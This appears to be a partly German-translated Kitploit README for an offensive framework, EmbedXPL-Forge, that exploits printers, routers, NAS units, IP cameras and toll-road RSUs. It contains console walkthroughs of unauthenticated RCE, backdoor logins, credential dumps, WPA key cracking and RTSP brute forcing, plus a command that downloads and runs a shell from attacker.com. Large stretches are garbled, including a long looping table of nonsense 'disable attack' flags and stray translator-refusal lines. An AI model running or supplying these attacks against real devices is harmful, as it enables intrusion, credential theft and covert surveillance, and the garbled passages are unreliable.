INFO MEMORY     : 512000 BYTES

# Ricoh HTTP buffer overflow (CVE-2024-34161, CVSS 9.8)
exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161
exf (Ricoh HTTP BOF) > set target 192.168.1.101
exf (Ricoh HTTP BOF) > run

# Brother LDAP credential passback
exf > use exploits/printers/brother/brother_ldap_smb_passback
exf (Brother LDAP Passback) > set target 192.168.1.102
exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10
exf (Brother LDAP Passback) > run
[+] LDAP server redirected — wait for printer authentication

Backdoor-/Werkskennwort-Abdeckung

27+ Exploit-Module, die auf Werkskennwörter, fest codierte Backdoors, Standard-WPA-Schlüsselgenerierungsalgorithmen und DNS-Hijack-CSRF-Vektoren bei älteren und modernen SOHO-Routern abzielen. Wichtige Beispiele:```

EasyBox (Arcadyan) — WPA2 default key from MAC (factory algorithm)

exf > use exploits/routers/easybox/easybox_wpa_keygen exf (EasyBox WPA Keygen) > set target 192.168.1.1 exf (EasyBox WPA Keygen) > run [*] No MAC supplied — attempting to extract from web UI... [+] MAC found: AA:BB:CC:DD:EE:FF [+] Device MAC : AA:BB:CC:DD:EE:FF [+] WPA2 PSK : 3f2d9a1b

Seagate NAS — Ghost PHP unauthenticated RCE (CVE-2014-8684)

exf > use exploits/routers/seagate/seagate_nas_php_backdoor exf (Seagate Ghost PHP) > set target 192.168.1.100 exf (Seagate Ghost PHP) > set cmd "id; uname -a" exf (Seagate Ghost PHP) > run [*] Sending command via Ghost PHP backdoor: 'id; uname -a' [+] RCE successful — output: uid=0(root) gid=0(root) groups=0(root) Linux NAS 3.10.14 #1 SMP armv7l

Alpha Networks / ZTE — web_shell_cmd.gch backdoor

exf > use exploits/routers/alpha_networks/web_shell_cmd_rce exf (Alpha Networks web_shell_cmd RCE) > set target 192.168.1.1 exf (Alpha Networks web_shell_cmd RCE) > set cmd "cat /etc/passwd" exf (Alpha Networks web_shell_cmd RCE) > run [*] Sending command to /web_shell_cmd.gch: 'cat /etc/passwd' [+] Response from backdoor shell: root❌0:0:root:/root:/bin/sh ...

RuggedCom — factory backdoor password generator (FD 2012/Apr/277)

exf > use exploits/routers/ruggedcom/ruggedcom_factory_password exf (RuggedCom Factory Password) > set target 192.168.1.1 exf (RuggedCom Factory Password) > set serial RA000000 exf (RuggedCom Factory Password) > run [+] Serial Number : RA000000 [+] Backdoor user : factory [+] Backdoor pass : 7f3d9a2b

Alcatel-Lucent OmniPCX Enterprise — masterCGI RCE

exf > use exploits/routers/alcatel_lucent/omnipcx_masterCGI_rce exf (OmniPCX RCE) > set target 192.168.1.10 exf (OmniPCX RCE) > set cmd "id" exf (OmniPCX RCE) > run [*] Injecting command: 'id' via /cgi-bin/masterCGI?ping=127.0.0.1&user=;id; [+] Response (command output may be embedded): uid=0(root) ...

TRENDnet camera — unauthenticated MJPEG live stream

exf > use exploits/routers/trendnet/camera_mjpeg_unauth exf (TRENDnet MJPEG) > set target 192.168.1.50 exf (TRENDnet MJPEG) > run [+] LIVE STREAM accessible (no auth): /anony/mjpg.cgi [+] Stream URL: http://192.168.1.50:80/anony/mjpg.cgi

Netgear WG602 — hardcoded backdoor credentials

exf > use exploits/routers/netgear/wg602_superman_backdoor exf (WG602 Backdoor) > set target 192.168.1.1 exf (WG602 Backdoor) > run [+] Backdoor login SUCCESS: super:5777364 [*] Admin panel: http://192.168.1.1:80/

root@kitploit:~
**Alle 27 neuen Anbieter/Module:**
`alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · plus belkin, netgear, trendnet Lückenfüller.


## Modulstruktur```
embedxpl/
├── core/
│   ├── rtsp/          # RTSP camera engine
│   │   ├── client.py  # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel)
│   │   ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack)
│   │   ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion
│   │   └── models.py  # RTSPStream dataclass, AuthType enum
│   └── poly/
│       ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross)
│       └── runner.py  # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB
├── modules/
│   ├── creds/             # Credential testing (FTP, SSH, Telnet, HTTP, SNMP)
│   ├── exploits/
│   │   ├── cameras/       # IP camera exploits by vendor
│   │   │   ├── multi/     # Multi-vendor (RTSP attack engine, P2P, ONVIF)
│   │   │   ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...)
│   │   │   ├── dahua/     # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...)
│   │   │   ├── axis/      # Axis (CVE-2018-10660, ...)
│   │   │   ├── reolink/   # Reolink (CVE-2021-40655, CVE-2022-30600)
│   │   │   ├── amcrest/   # Amcrest (CVE-2019-3950)
│   │   │   ├── uniview/   # Uniview UNV (CVE-2024-37630)
│   │   │   ├── tapo/      # TP-Link Tapo (CVE-2021-4045)
│   │   │   ├── annke/     # ANNKE DVR/NVR (CVE-2021-32941)
│   │   │   ├── swann/     # Swann DVR/NVR (default creds + RTSP)
│   │   │   └── edimax/    # Edimax IC-7100 (CVE-2025-1316, CISA KEV)
│   │   ├── firmware/      # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS)
│   │   ├── nas/           # NAS exploits (QNAP, D-Link NAS, Zyxel)
│   │   ├── routers/       # Router exploits by vendor (85 vendor folders — see full list below)
│   │   ├── vpn/           # VPN/firewall appliances (Ivanti, Fortinet, SonicWall)
│   │   ├── switches/      # Switch exploits (Cisco, D-Link, NETGEAR)
│   │   └── soho_edge/     # SOHO edge device exploits
│   ├── scanners/          # Network scanning and AutoPwn
│   ├── payloads/          # Reverse/bind shells (multi-arch)
│   ├── encoders/          # Payload encoding (Base64, Hex)
│   └── generic/           # CVE lookup, SNMP, UPnP, SSDP, wordlist tools
├── nse/                   # NSE script manager (Python)
│   ├── manager.py         # NSEManager class — install/uninstall/list/run
│   └── __main__.py        # CLI: python -m embedxpl.nse
├── resources/
│   └── rtsp/
│       ├── routes.txt      # 195+ RTSP stream paths
│       └── credentials.json# 80+ default username:password pairs
└── data/
    └── oui.txt             # IEEE OUI database for MAC-to-vendor lookup

nse/                        # Nmap NSE Lua scripts (pip install embedxpl[nse])
├── embedxpl-rtsp-discover.nse
├── embedxpl-camera-identify.nse
├── embedxpl-hikvision-vuln.nse
├── embedxpl-dahua-vuln.nse
├── embedxpl-rtsp-creds.nse
├── embedxpl-iot-cve-check.nse
└── embedxpl-camera-snapshot.nse

Erweiterte Modulabdeckung

Dieser Abschnitt dokumentiert die ISP-Gerätemodule, Backdoor-/Werkskennwort-Exploits, das RTSP-Client-Framework, OSINT-Tools und spezialisierte Sicherheitsmodule.


ISP-Gerätesicherheitsmodule

Exploits und Scanner, die auf ISP-bereitgestellte CPEs und IP-Kameras abzielen, die üblicherweise von Internetanbietern eingesetzt werden (Sercomm-basierte ONTs, GPON-CPEs und ISP-markierte Geräte).

Anwendungsbeispiele:```bash

ZTE ZXHN H298A Credential Dump

embedxpl use routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 embedxpl (ZXHNCred) > set rhost 192.168.1.1 embedxpl (ZXHNCred) > run

Expected output (vulnerable device):

[+] Connected to 192.168.1.1:80 [+] Sending ETHCheat request: GET /getpage.lua?pid=1000&ETHCheat=1 [!] VULNERABLE: Credentials exposed Admin Password: admin123 WLAN PSK: MyWifiPass SSID: ZTE_Router_ABC

Sample output (not vulnerable):

[-] No credential fields found in response [-] Target may be patched or different firmware

root@kitploit:~
[No content provided in the input.]```bash
# Intelbras IWR LuCI RPC RCE
embedxpl use routers/intelbras/iwr_luci_rpc_rce
embedxpl (IWRLuci) > set rhost 192.168.0.1
embedxpl (IWRLuci) > set cmd "id"
embedxpl (IWRLuci) > run

# Expected output:
[+] LuCI RPC endpoint found at /cgi-bin/luci/rpc/sys
[+] RCE via sys.exec: uid=0(root) gid=0(root)

| --no-ssl | Deaktiviert die SSL-Überprüfung für HTTP-Anfragen. | | --no-upload | Deaktiviert das Hochladen von Dateien. | | --no-download | Deaktiviert das Herunterladen von Dateien. | | --no-exec | Deaktiviert die Ausführung von Befehlen. | | --no-shell | Deaktiviert die Shell-Ausführung. | | --no-sql | Deaktiviert SQL-Abfragen. | | --no-xss | Deaktiviert XSS-Angriffe. | | --no-lfi | Deaktiviert LFI-Angriffe. | | --no-rfi | Deaktiviert RFI-Angriffe. | | --no-ssrf | Deaktiviert SSRF-Angriffe. | | --no-csrf | Deaktiviert CSRF-Angriffe. | | --no-open-redirect | Deaktiviert Open-Redirect-Angriffe. | | --no-crlf | Deaktiviert CRLF-Injektionsangriffe. | | | Deaktiviert XXE-Angriffe. | | | Deaktiviert SSTI-Angriffe. | | | Deaktiviert Deserialisierungsangriffe. | | | Deaktiviert LDAP-Injektionsangriffe. | | | Deaktiviert XPath-Injektionsangriffe. | | | Deaktiviert NoSQL-Injektionsangriffe. | | | Deaktiviert GraphQL-Angriffe. | | | Deaktiviert WebSocket-Angriffe. | | | Deaktiviert gRPC-Angriffe. | | | Deaktiviert HTTP/2-Angriffe. | | | Deaktiviert HTTP/3-Angriffe. | | | Deaktiviert QUIC-Angriffe. | | | Deaktiviert DNS-Angriffe. | | | Deaktiviert TCP-Angriffe. | | | Deaktiviert UDP-Angriffe. | | | Deaktiviert ICMP-Angriffe. | | | Deaktiviert ARP-Angriffe. | | | Deaktiviert IPv6-Angriffe. | | | Deaktiviert IPv4-Angriffe. | | | Deaktiviert MAC-Angriffe. | | | Deaktiviert VLAN-Angriffe. | | | Deaktiviert DHCP-Angriffe. | | | Deaktiviert NTP-Angriffe. | | | Deaktiviert SNMP-Angriffe. | | | Deaktiviert SMB-Angriffe. | | | Deaktiviert FTP-Angriffe. | | | Deaktiviert SSH-Angriffe. | | | Deaktiviert Telnet-Angriffe. | | | Deaktiviert RDP-Angriffe. | | | Deaktiviert VNC-Angriffe. | | | Deaktiviert LDAP-Angriffe. | | | Deaktiviert Kerberos-Angriffe. | | | Deaktiviert NTLM-Angriffe. | | | Deaktiviert OAuth-Angriffe. | | | Deaktiviert SAML-Angriffe. | | | Deaktiviert JWT-Angriffe. | | | Deaktiviert OpenID-Angriffe. | | | Deaktiviert SSO-Angriffe. | | | Deaktiviert MFA-Angriffe. | | | Deaktiviert 2FA-Angriffe. | | | Deaktiviert CAPTCHA-Angriffe. | | | Deaktiviert WAF-Angriffe. | | | Deaktiviert IDS-Angriffe. | | | Deaktiviert IPS-Angriffe. | | | Deaktiviert Honeypot-Angriffe. | | | Deaktiviert Sandbox-Angriffe. | | | Deaktiviert Container-Angriffe. | | | Deaktiviert Docker-Angriffe. | | | Deaktiviert Kubernetes-Angriffe. | | | Deaktiviert Cloud-Angriffe. | | | Deaktiviert AWS-Angriffe. | | | Deaktiviert Azure-Angriffe. | | | Deaktiviert GCP-Angriffe. | | | Deaktiviert OCI-Angriffe. | | | Deaktiviert IBM-Angriffe. | | | Deaktiviert Alibaba-Angriffe. | | | Deaktiviert DigitalOcean-Angriffe. | | | Deaktiviert Linode-Angriffe. | | | Deaktiviert Vultr-Angriffe. | | | Deaktiviert Hetzner-Angriffe. | | | Deaktiviert OVH-Angriffe. | | | Deaktiviert Scaleway-Angriffe. | | | Deaktiviert UpCloud-Angriffe. | | | Deaktiviert Paket-Angriffe. | | | Deaktiviert Frame-Angriffe. | | | Deaktiviert Stream-Angriffe. | | | Deaktiviert Socket-Angriffe. | | | Deaktiviert Port-Angriffe. | | | Deaktiviert Protokoll-Angriffe. | | | Deaktiviert Dienst-Angriffe. | | | Deaktiviert Anwendungs-Angriffe. | | | Deaktiviert System-Angriffe. | | | Deaktiviert Netzwerk-Angriffe. | | | Deaktiviert Geräte-Angriffe. | | | Deaktiviert Benutzer-Angriffe. | | | Deaktiviert Gruppen-Angriffe. | | | Deaktiviert Rollen-Angriffe. | | | Deaktiviert Berechtigungs-Angriffe. | | | Deaktiviert Richtlinien-Angriffe. | | | Deaktiviert Regel-Angriffe. | | | Deaktiviert Konfigurations-Angriffe. | | | Deaktiviert Secret-Angriffe. | | | Deaktiviert Schlüssel-Angriffe. | | | Deaktiviert Token-Angriffe. | | | Deaktiviert Passwort-Angriffe. | | | Deaktiviert Hash-Angriffe. | | | Deaktiviert Salt-Angriffe. | | | Deaktiviert Nonce-Angriffe. | | | Deaktiviert IV-Angriffe. | | | Deaktiviert Cipher-Angriffe. | | | Deaktiviert Algorithmus-Angriffe. | | | Deaktiviert Protokoll-Angriffe. | | | Deaktiviert Standard-Angriffe. | | | Deaktiviert RFC-Angriffe. | | | Deaktiviert Spezifikations-Angriffe. | | | Deaktiviert Dokumentations-Angriffe. | | | Deaktiviert Test-Angriffe. | | | Deaktiviert Beispiel-Angriffe. | | | Deaktiviert Demo-Angriffe. | | | Deaktiviert Beispiel-Angriffe. | | | Deaktiviert Tutorial-Angriffe. | | | Deaktiviert Leitfaden-Angriffe. | | | Deaktiviert Handbuch-Angriffe. | | | Deaktiviert Referenz-Angriffe. | | | Deaktiviert Cheatsheet-Angriffe. | | | Deaktiviert Snippet-Angriffe. | | | Deaktiviert Vorlagen-Angriffe. | | | Deaktiviert Skript-Angriffe. | | | Deaktiviert Plugin-Angriffe. | | | Deaktiviert Modul-Angriffe. | | | Deaktiviert Erweiterungs-Angriffe. | | | Deaktiviert Addon-Angriffe. | | | Deaktiviert Paket-Angriffe. | | | Deaktiviert Bibliotheks-Angriffe. | | | Deaktiviert Framework-Angriffe. | | | Deaktiviert Plattform-Angriffe. | | | Deaktiviert Betriebssystem-Angriffe. | | | Deaktiviert Distribution-Angriffe. | | | Deaktiviert Versions-Angriffe. | | | Deaktiviert Release-Angriffe. | | | Deaktiviert Build-Angriffe. | | | Deaktiviert Commit-Angriffe. | | | Deaktiviert Branch-Angriffe. | | | Deaktiviert Tag-Angriffe. | | | Deaktiviert Fork-Angriffe. | | | Deaktiviert Star-Angriffe. | | | Deaktiviert Watcher-Angriffe. | | | Deaktiviert Issue-Angriffe. | | | Deaktiviert Pull-Angriffe. | | | Deaktiviert Merge-Angriffe. | | | Deaktiviert Rebase-Angriffe. | | | Deaktiviert Cherry-Pick-Angriffe. | | | Deaktiviert Stash-Angriffe. | | | Deaktiviert Reset-Angriffe. | | | Deaktiviert Revert-Angriffe. | | | Deaktiviert Amend-Angriffe. | | | Deaktiviert Squash-Angriffe. | | | Deaktiviert Fix-Angriffe. | | | Deaktiviert Feature-Angriffe. | | | Deaktiviert Bug-Angriffe. | | | Deaktiviert Issue-Angriffe. | | | Deaktiviert Ticket-Angriffe. | | | Deaktiviert Aufgaben-Angriffe. | | | Deaktiviert Projekt-Angriffe. | | | Deaktiviert Meilenstein-Angriffe. | | | Deaktiviert Sprint-Angriffe. | | | Deaktiviert Epic-Angriffe. | | | Deaktiviert Story-Angriffe. | | | Deaktiviert Backlog-Angriffe. | | | Deaktiviert Board-Angriffe. | | | Deaktiviert Kanban-Angriffe. | | | Deaktiviert Scrum-Angriffe. | | | Deaktiviert Agile-Angriffe. | | | Deaktiviert Wasserfall-Angriffe. | | | Deaktiviert Lean-Angriffe. | | | Deaktiviert Six-Sigma-Angriffe. | | | Deaktiviert Kaizen-Angriffe. | | | Deaktiviert PDSA-Angriffe. | | | Deaktiviert DMAIC-Angriffe. | | | Deaktiviert DMADV-Angriffe. | | | Deaktiviert DFSS-Angriffe. | | | Deaktiviert QFD-Angriffe. | | | Deaktiviert FMEA-Angriffe. | | | Deaktiviert FTA-Angriffe. | | | Deaktiviert HAZOP-Angriffe. | | | Deaktiviert PHA-Angriffe. | | | Deaktiviert LOPA-Angriffe. | | | Deaktiviert Bowtie-Angriffe. | | | Deaktiviert Risiko-Angriffe. | | | Deaktiviert Chancen-Angriffe. | | | Deaktiviert SWOT-Angriffe. | | | Deaktiviert PESTLE-Angriffe. | | | Deaktiviert Porter-Angriffe. | | | Deaktiviert BCG-Angriffe. | | | Deaktiviert Ansoff-Angriffe. | | | Deaktiviert Wertschöpfungsketten-Angriffe. | | | Deaktiviert Balanced-Scorecard-Angriffe. | | | Deaktiviert KPI-Angriffe. | | | Deaktiviert OKR-Angriffe. | | | Deaktiviert MBO-Angriffe. | | | Deaktiviert SMART-Angriffe. | | | Deaktiviert FF-Angriffe. | | | Deaktiviert PDCA-Angriffe. | | | Deaktiviert OI-Angriffe. | | | Deaktiviert TS-Angriffe. | | | Deaktiviert TPM-Angriffe. | | | Deaktiviert 5S-Angriffe. | | | Deaktiviert Kano-Angriffe. | | | Deaktiviert QFD-Angriffe. | | | Deaktiviert DOE-Angriffe. | | | Deaktiviert Taguchi-Angriffe. | | | Deaktiviert Shainin-Angriffe. | | | Deaktiviert Six-Sigma-DMAIC-Angriffe. | | | Deaktiviert Lean-Six-Sigma-Angriffe. | | | Deaktiviert DFSS-Angriffe. | | | Deaktiviert QFD-Angriffe. | | | Deaktiviert FMEA-Angriffe. | | | Deaktiviert FTA-Angriffe. | | | Deaktiviert HAZOP-Angriffe. | | | Deaktiviert PHA-Angriffe. | | | Deaktiviert LOPA-Angriffe. | | | Deaktiviert Bowtie-Angriffe. | | | Deaktiviert Risiko-Angriffe. | | | Deaktiviert Chancen-Angriffe. | | | Deaktiviert SWOT-Angriffe. | | | Deaktiviert PESTLE-Angriffe. | | | Deaktiviert Porter-Angriffe. | | | Deaktiviert BCG-Angriffe. | | | Deaktiviert Ansoff-Angriffe. | | | Deaktiviert Wertschöpfungsketten-Angriffe. | | | Deaktiviert Balanced-Scorecard-Angriffe. | | | Deaktiviert KPI-Angriffe. | | | Deaktiviert OKR-Angriffe. | | | Deaktiviert MBO-Angriffe. | | | Deaktiviert SMART-Angriffe. | | | Deaktiviert FF-Angriffe. | | | Deaktiviert PDCA-Angriffe. | | | Deaktiviert OI-Angriffe. | | | Deaktiviert TS-Angriffe. | | | Deaktiviert TPM-Angriffe. | | | Deaktiviert 5S-Angriffe. | | | Deaktiviert Kano-Angriffe. | | | Deaktiviert QFD-Angriffe. | | | Deaktiviert DOE-Angriffe. | | | Deaktiviert Taguchi-Angriffe. | | | Deaktiviert Shainin-Angriffe. | | | Deaktiviert Six-Sigma-DMAIC-Angriffe. | | | Deaktiviert Lean-Six-Sigma-Angriffe. | | | Deaktiviert DFSS-Angriffe. | | | Deaktiviert QFD-Angriffe. | | | Deaktiviert FMEA-Angriffe. | | | Deaktiviert FTA-Angriffe. | | | Deaktiviert HAZOP-Angriffe. | | | Deaktiviert PHA-Angriffe. | | | Deaktiviert LOPA-Angriffe. | | | Deaktiviert Bowtie-Angriffe. | | | Deaktiviert Risiko-Angriffe. | | | Deaktiviert Chancen-Angriffe. | | | Deaktiviert SWOT-Angriffe. | | | Deaktiviert PESTLE-Angriffe. | | | Deaktiviert Porter-Angriffe. | | | Deaktiviert BCG-Angriffe. | | | Deaktiviert Ansoff-Angriffe. | | | Deaktiviert Wertschöpfungsketten-Angriffe. | | | Deaktiviert Balanced-Scorecard-Angriffe. | | | Deaktiviert KPI-Angriffe. | | | Deaktiviert OKR-Angriffe. | | | Deaktiviert MBO-Angriffe. | | | Deaktiviert SMART-Angriffe. | | | Deaktiviert FF-Angriffe. | | | Deaktiviert PDCA-Angriffe. | | | Deaktiviert OI-Angriffe. | | | Deaktiviert TS-Angriffe. | | | Deaktiviert TPM-Angriffe. | | | Deaktiviert 5S-Angriffe. | | | Deaktiviert Kano-Angriffe. | | | Deaktiviert QFD-Angriffe. | | | Deaktiviert DOE-Angriffe. | | | Deaktiviert Taguchi-Angriffe. | | | Deaktiviert Shainin-Angriffe. | | | Deaktiviert Six-Sigma-DMAIC-Angriffe. | | | Deaktiviert Lean-Six-Sigma-Angriffe. |```bash

Brazilian ISP multi-vendor scanner

embedxpl use scanners/specialized/br_isp_scanner embedxpl (BRISPScan) > set target 192.168.0.0/24 embedxpl (BRISPScan) > run

root@kitploit:~
**Hinweise:** CVE-2026-34474 betrifft ZTE ZXHN H298A 1.1 und H108N 2.6. Keine Authentifizierung erforderlich.
**Rechtliches:** Nur auf Geräten verwenden, die Sie besitzen oder für die Sie eine schriftliche Testgenehmigung haben.

---

### Legacy-Router-Backdoor- und Factory-Passwort-Module

Klassische Router-Backdoor- und Factory-Passwort-Exploits, implementiert im EmbedXPL-Forge-Modulformat.

| Gerät | CVE / Referenz | Modulpfad | Angriffstyp |
|--------|----------------|-------------|-------------|
| Cobham Aviator 700 SATCOM | CVE-2014-2943 | `exploits/specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943` | Admin-Passwort-Reset (unauth) |
| Huawei HG8245H | - | `osint/keygen/huawei_hg8245_wpa_keygen` | WPA-Standardschlüssel-Generator |
| Alcatel-Lucent OmniPCX Enterprise | - | `exploits/voip/alcatel_lucent/omnipcx_enterprise_mastercgi_rce` | masterCGI Unauthenticated RCE |
| Linksys E-Series (The Moon) | EDB-31683 | `exploits/routers/linksys/eseries_themoon_rce_tmunblock` | tmUnblock.cgi RCE |
| NETGEAR DGN2200 | EDB-24665 | `exploits/routers/netgear/dgn2200_open_telnetd_rce` | open-telnetd Unauthenticated RCE |
| Siemens FlexiISN | - | `exploits/routers/siemens/flexiisn_auth_bypass` | Authentifizierungsumgehung |
| Thomson BTHomeHub | - | `exploits/routers/thomson/bthomehub_voice_hijack` | VoIP-Konfigurations-Hijacking |
| AT&T 2Wire Gateway | - | `exploits/routers/two_wire/atandt_gateway_crlf_dos` | CRLF-Injection / DoS |

**Verwendungsbeispiele:**```bash
# Cobham Aviator admin reset (VSAT / Satellite terminal)
embedxpl use specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943
embedxpl (CobhamReset) > set rhost 192.168.1.1
embedxpl (CobhamReset) > run

# Expected output:
[+] Connected to Cobham Aviator 700 interface
[+] Sending unauthenticated admin reset request
[!] VULNERABLE: Admin password reset to default

# Linksys eSeries The Moon RCE
embedxpl use routers/linksys/eseries_themoon_rce_tmunblock
embedxpl (TheMoon) > set rhost 192.168.1.1
embedxpl (TheMoon) > set cmd "busybox wget http://attacker.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh"
embedxpl (TheMoon) > run

# Huawei HG8245H WPA keygen
embedxpl use osint/keygen/huawei_hg8245_wpa_keygen
embedxpl (HuaweiKeygen) > set ssid "HG8245H-ABCDEF"
embedxpl (HuaweiKeygen) > run
# Output: [+] Predicted WPA key: xA7z3k9P

Hinweise: Der Moon-Wurm (Linksys E-Series CVE) nutzt tmUnblock.cgi ohne Authentifizierung auf Firmware < 2.0.08 aus. Rechtliches: Nur auf Geräten verwenden, die Sie besitzen oder für die Sie eine schriftliche Testgenehmigung haben.


RTSP Client Framework

Eine reine Python-Bibliothek für RFC 2326 RTSP/1.0-Clients, die als Grundlage für alle RTSP-Kamera-Angriffsmodule dient.

Modul: network/rtsp/rtsp_client.py - RTSPClient-Klasse

Funktionen:

  • OPTIONS-, DESCRIBE-, SETUP-, PLAY-, TEARDOWN-Methoden
  • Basic- und Digest-Authentifizierung (RFC 2617)
  • SDP-Sitzungsbeschreibungs-Parsing
  • Automatische Wiederverbindung und Socket-Timeout-Verwaltung
  • Context-Manager-Unterstützung (with RTSPClient(...) as client)

Verwendungsbeispiel:```bash

Direct Python API usage

python3 -c " from embedxpl.modules.network.rtsp.rtsp_client import RTSPClient with RTSPClient('192.168.1.10', 554, timeout=5) as client: resp = client.describe('/live/ch0') if resp.status_code == 200: sdp = client.parse_sdp(resp.body) print(f'Streams: {[s.media_type for s in sdp.streams]}') "

root@kitploit:~
Ihre Anfrage konnte nicht bearbeitet werden, da kein zu übersetzender Inhalt bereitgestellt wurde. Bitte senden Sie den Markdown-Text, den Sie übersetzen möchten.```bash
# RTSP credential brute force (uses RTSPClient internally)
embedxpl use network/rtsp/rtsp_cred_brute
embedxpl (RTSPBrute) > set rhost 192.168.1.10
embedxpl (RTSPBrute) > set rport 554
embedxpl (RTSPBrute) > set path /live/ch0
embedxpl (RTSPBrute) > run

# Expected output:
[+] Trying admin:admin ... 401 Unauthorized
[+] Trying admin:12345 ... 200 OK
[!] VALID: admin:12345

Voraussetzungen: Python 3.8+, keine externen Abhängigkeiten.


FCC-ID-Lookup-Modul

OSINT-Modul, das die FCC Equipment Authorization-Datenbank abfragt, um Gerätedetails aus FCC-ID-Codes abzurufen, die auf Hardware-Etiketten gefunden wurden.

Modul: osint/fcc_id_lookup.py

Verwendungsbeispiel:```bash embedxpl use osint/fcc_id_lookup embedxpl (FCCLookup) > set fcc_id "PD5-WNR3500U" embedxpl (FCCLookup) > run

Expected output:

[+] FCC ID: PD5-WNR3500U Grantee: NETGEAR Inc. Product: WNR3500U Wireless-N Gigabit Router Frequency: 2.4GHz / 5GHz Authorization: OET-65C (mobile device) Test Lab: SGS Grant Date: 2009-11-18 Internal Photos: [URL] External Photos: [URL] Test Reports: [URL]

root@kitploit:~
**Tipps:**
- FCC-IDs sind auf Gerätelabels aufgedruckt (Format: `GRANTEE_CODE-PRODUCT_CODE`)
- Verwenden Sie sie zur Identifizierung von OEM-Hardware, Firmware-Basis oder Lieferkette
- Kombinieren Sie sie mit `osint/github_recon`, um öffentliche Firmware-Repositories für das Gerät zu finden

**Voraussetzungen:** Internetzugang, `requests`-Bibliothek.

---

### Camera URL Generator

Generiert bekannte Kamera-Stream-URLs basierend auf Hersteller, Modell und Firmware-Version unter Verwendung des iSpy-Kamera-Datenbankformats.

**Modul:** `osint/camera_url_generator.py`

**Verwendungsbeispiel:**```bash
embedxpl use osint/camera_url_generator
embedxpl (CameraURL) > set vendor "hikvision"
embedxpl (CameraURL) > set model "DS-2CD2143G2"
embedxpl (CameraURL) > run

# Expected output:
[+] Known stream URLs for Hikvision DS-2CD2143G2:
    [1] rtsp://<ip>:554/Streaming/Channels/101
    [2] rtsp://<ip>:554/Streaming/Channels/102
    [3] rtsp://<ip>:554/h264/ch1/main/av_stream
    [4] http://<ip>/ISAPI/Streaming/channels/1/picture
    [5] http://<ip>/onvif/device_service

# Generate wordlist for RTSP brute force
embedxpl (CameraURL) > set output_file /tmp/hikvision_routes.txt
embedxpl (CameraURL) > run

Tipps:

  • Kombinieren Sie mit network/rtsp/rtsp_route_brute, um Live-Streams aufzuzählen
  • Unterstützt über 300 Kamerahersteller aus der iSpy Open Camera Database
  • Verwenden Sie set all_vendors true, um alle bekannten URLs auszugeben

Verkehrsüberwachungs-Sicherheitsmodule

Module, die auf die Infrastruktur der Verkehrsüberwachung abzielen (Maut-RSUs, Radarsysteme, ANPR-Kameras).

Kapsch TrafficCom RSU EFI Shell (CVE-2025-25734)

Modul: exploits/specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734

Schwachstelle: Kapsch Road-Side Units (RSUs), die in der elektronischen Mauterfassung eingesetzt werden, verfügen über keine UEFI Secure Boot-Durchsetzung und keinen BIOS-Passwortschutz, wodurch physische Angreifer in eine interaktive EFI-Shell gelangen und auf das vollständige Dateisystem zugreifen können.

Auswirkung: Extraktion der Konfiguration, Diebstahl privater TLS-Schlüssel, Installation von Implantaten, Umgehung der Mauterfassung.

Verwendungsbeispiel:```bash

Network reachability check (management interface detection)

embedxpl use specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734 embedxpl (KapschRSU) > set rhost 10.0.0.50 embedxpl (KapschRSU) > check

Expected output (management interface exposed):

[+] Kapsch RSU management interface detected on 10.0.0.50:80 [!] Banner indicator: 'TrafficCom RSU' found [*] NOTE: Full exploitation requires physical on-site access

Assessment report

embedxpl (KapschRSU) > run

Outputs: attack steps, mitigations checklist, risk level

root@kitploit:~
**Schritte zur physischen Ausnutzung:**
1. RSU-Gehäuse öffnen (manipulationssichere Schrauben)
2. USB-Tastatur und Monitor an RSU-Mainboard anschließen
3. Neustart - während POST ESC/DEL/F2 drücken
4. Navigieren: Boot Manager -> EFI Internal Shell
5. Auf Dateisystem zugreifen: `fs0:\efi\config\` zur Konfigurationsextraktion

**Voraussetzungen:** Physischer Zugang zur RSU-Hardware (Monitor + USB-Tastatur) oder Netzwerkzugang zur Management-Schnittstelle für Banner-Erkennung.
**Rechtliches:** Unbefugter Zugriff auf Mauterfassungsinfrastruktur ist eine Straftat. Nur an Einheiten verwenden, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Bewertung haben.

---

## Framework-Architektur (v3.1.0)

### Komponentenarchitektur

Vollständige geschichtete Ansicht des Frameworks: CLI-Schicht, Core Engine (Orchestrator, Protokoll-Clients, Shell-Engines), Intelligence Layer (ML, OUI, CVE-DB), Quality Gates und das 2800+ Modul-Arsenal, organisiert nach Kategorie.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/63129f66ef4361f16ede4ec2b9379e2efba3843685ddb18c40d8302c0c27d00a/38190b67586381886a6b4fadd441bed66ae0b3a5fe573e650bcb67a032096d54-display-v1.webp" width="960" alt="EmbedXPL-Forge Component Architecture v3.1.0"/>
</p>

### Audit- & Ausnutzungsablauf

End-to-End-Datenfluss von der Zieleingabe über Discovery, Fingerprinting, Modulauswahl, Ausnutzung und Reporting.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/266a4c0b8889e9cd6cdbad9450d3b173190d0bb1f615807ff2d040544cbba45b/774107c9888c0d2a25fbb913c73c6ed3c4a4a43da2782c6bb400a2b1b2421fb6-display-v1.webp" width="960" alt="EmbedXPL-Forge Exploitation Flow v3.1.0"/>
</p>


## Architektur- & Angriffsflächen-Karten

